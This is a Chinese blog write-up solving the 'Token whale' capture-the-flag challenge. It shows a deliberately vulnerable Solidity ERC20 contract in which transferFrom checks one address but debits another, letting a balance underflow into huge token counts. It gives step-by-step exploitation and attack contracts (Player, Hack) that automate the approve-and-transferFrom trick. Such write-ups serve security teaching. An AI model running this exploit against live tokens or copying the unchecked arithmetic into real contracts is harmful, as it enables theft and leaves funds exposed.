抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Token whale

1. 题目

  • 1.1 要求:

  • This ERC20-compatible token is hard to acquire. There’s a fixed supply of 1,000 tokens, all of which are yours to start with.

    Find a way to accumulate at least 1,000,000 tokens to solve this challenge

  • 1.2 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
address player;

uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;

function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}

function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}

event Transfer(address indexed from, address indexed to, uint256 value);

function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;

emit Transfer(msg.sender, to, value);
}

function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);

_transfer(to, value);
}

event Approval(address indexed owner, address indexed spender, uint256 value);

function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}

function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);

allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}

2. 分析

  • 2.1 首先对代码进行解读,慢慢看懂代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
address player;

uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;

function TokenWhaleChallenge(address _player) public {
player = _player;
// 发行量是 1000
totalSupply = 1000;
// 初始化玩家的代币为 1000
balanceOf[player] = 1000;
}

// 通关要求:需要玩家的代币 >= 1000000
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}

// 触发事件 谁向谁转了多少 value
event Transfer(address indexed from, address indexed to, uint256 value);

//内部的 发送函数 -- 将合约调用者的代币转移给 接收方to
function _transfer(address to, uint256 value) internal {

// 这里减的是 合约调用者的代币
// 只要这里的msg.sender 不是 同一个地址,那么预防不了溢出这个漏洞
balanceOf[msg.sender] -= value; // 这里要注意
balanceOf[to] += value;

emit Transfer(msg.sender, to, value);
}

// 外部的交易函数,将调用者的代币发送给接收者to
function transfer(address to, uint256 value) public {

// 确保调用者的钱足够发送
require(balanceOf[msg.sender] >= value);

// 这个是????为了防止上溢???
require(balanceOf[to] + value >= balanceOf[to]);

_transfer(to, value);
}

event Approval(address indexed owner, address indexed spender, uint256 value);

// 授权额度
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}


function transferFrom(address from, address to, uint256 value) public {
// 检查的是 from 这个地址的代币
// 安全隐患:相当于 小王和小李,只要小王有钱我就可以一直从小李那里取钱
require(balanceOf[from] >= value);

// 这个校验很容易通过,我感觉是只要不弄溢出就没事
require(balanceOf[to] + value >= balanceOf[to]);

// 调用 approve函数,让 from 给合约调用者授权
require(allowance[from][msg.sender] >= value);

allowance[from][msg.sender] -= value;

// 让to 和 msg.sender不一致,破解它那简简单单的保护措施,to可以随便乱填一个地址
_transfer(to, value);
}
}
  • 2.2 本题的目标就是 balanceOf[player] >= 1000000 而合约中的代币发行量只有 1000 那么多,显然只通过简单的转账操作是不可能实现的,所以,只能往溢出的方向去思考
  • 2.3 而合约中能产生溢出的且涉及到 balanceOf 的只有 _transfer 函数中的 balanceOf[msg.sender] -= value; 这个可以产生溢出,生成很多很多代币。
  • 2.4 合约中调用此内部函数的方法只有 transfertransferFrom 。细看可知 transfer 函数中 有require(balanceOf[msg.sender] >= value)检验,这个检验让这个函数变得安全,因为它和 _transfer函数中的balanceOf[msg.sender] -= value;的msg.sender 保持一致,无法进行溢出操作
  • 2.5 transferFrom 合约中有三个校验
1
2
3
4
5
6
7
8
9
10
// 检查的是 from 这个地址的代币
// 安全隐患:相当于 小王和小李,只要小王有钱我就可以一直从小李那里取钱
require(balanceOf[from] >= value);

// 这个校验很容易通过,我感觉是只要不弄溢出就没事
require(balanceOf[to] + value >= balanceOf[to]);

// 调用 approve函数,让 from 给合约调用者授权
require(allowance[from][msg.sender] >= value);

  • 2.6 我们可知,它校验的是from 地址 ,但是 _transfer 合约中操作的是 msg.sender 这就有了操作空间,只要别人有钱我们就可以通过校验执行以下的一系列操作
  • 值得注意的是方法的形参的 to 不能和当前的合约调用者一致,否则他会被_transfer函数中的小小保护机制给还原回去的,我之前就试过

3. 解题

  • 3.1 给函数填入参数

  • ![image-20240412145551536](Token whale/image-20240412145551536.png)

  • 3.2 首先要通过第一个校验:可以用玩家地址(balanceOf[play] = 1000)作为 from ,这样就可以通过第一个校验了

  • ![image-20240412145558250](Token whale/image-20240412145558250.png)

  • 3.3 to 随便填一个地址就可以,只要不和msg.sender 是同一个地址就行

  • 3.4 要通过第二个校验,就需要 allowance[from][msg.sender] >= value ,所以需要先调用approve 函数,将调用者地址合约切回 玩家地址,spender就是 你等下要使用的msg.sender,然后随便授权,我这里授权一块钱,因为一个很简单溢出就是 0 - 1

  • ![image-20240412145606809](Token whale/image-20240412145606809.png)

  • 3.5 调用之后,查看 balanceOf[msg.sender]

  • ![image-20240412145617600](Token whale/image-20240412145617600.png)

  • 3.6 再调用 transfer 函数,从 msg.sender 转 钱 给 玩家 player

  • ![image-20240412145626133](Token whale/image-20240412145626133.png)

  • 通过!!!

  • ![image-20240412145637909](Token whale/image-20240412145637909.png)

一段时间之后的二刷

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
攻击思路:
1. 部署Player,部署challenge,部署Hack
2. 调用 player 的attack,给hacker授权
3. 调用Hack的attack,完成攻击
*/

contract Player {

function attack(address spender, uint256 value, TokenWhaleChallenge challenge) public {
challenge.approve(spender, value);
}
}

contract Hack {

TokenWhaleChallenge challenge;

function Hack(address _challenge) public {
challenge = TokenWhaleChallenge(_challenge);
}

function attack(address player) public {
challenge.transferFrom(player, player, 1000);
challenge.transfer(player, 1000000);
require(challenge.isComplete());
}
}

评论



政策 · 统计 | 本站使用 Volantis 主题设计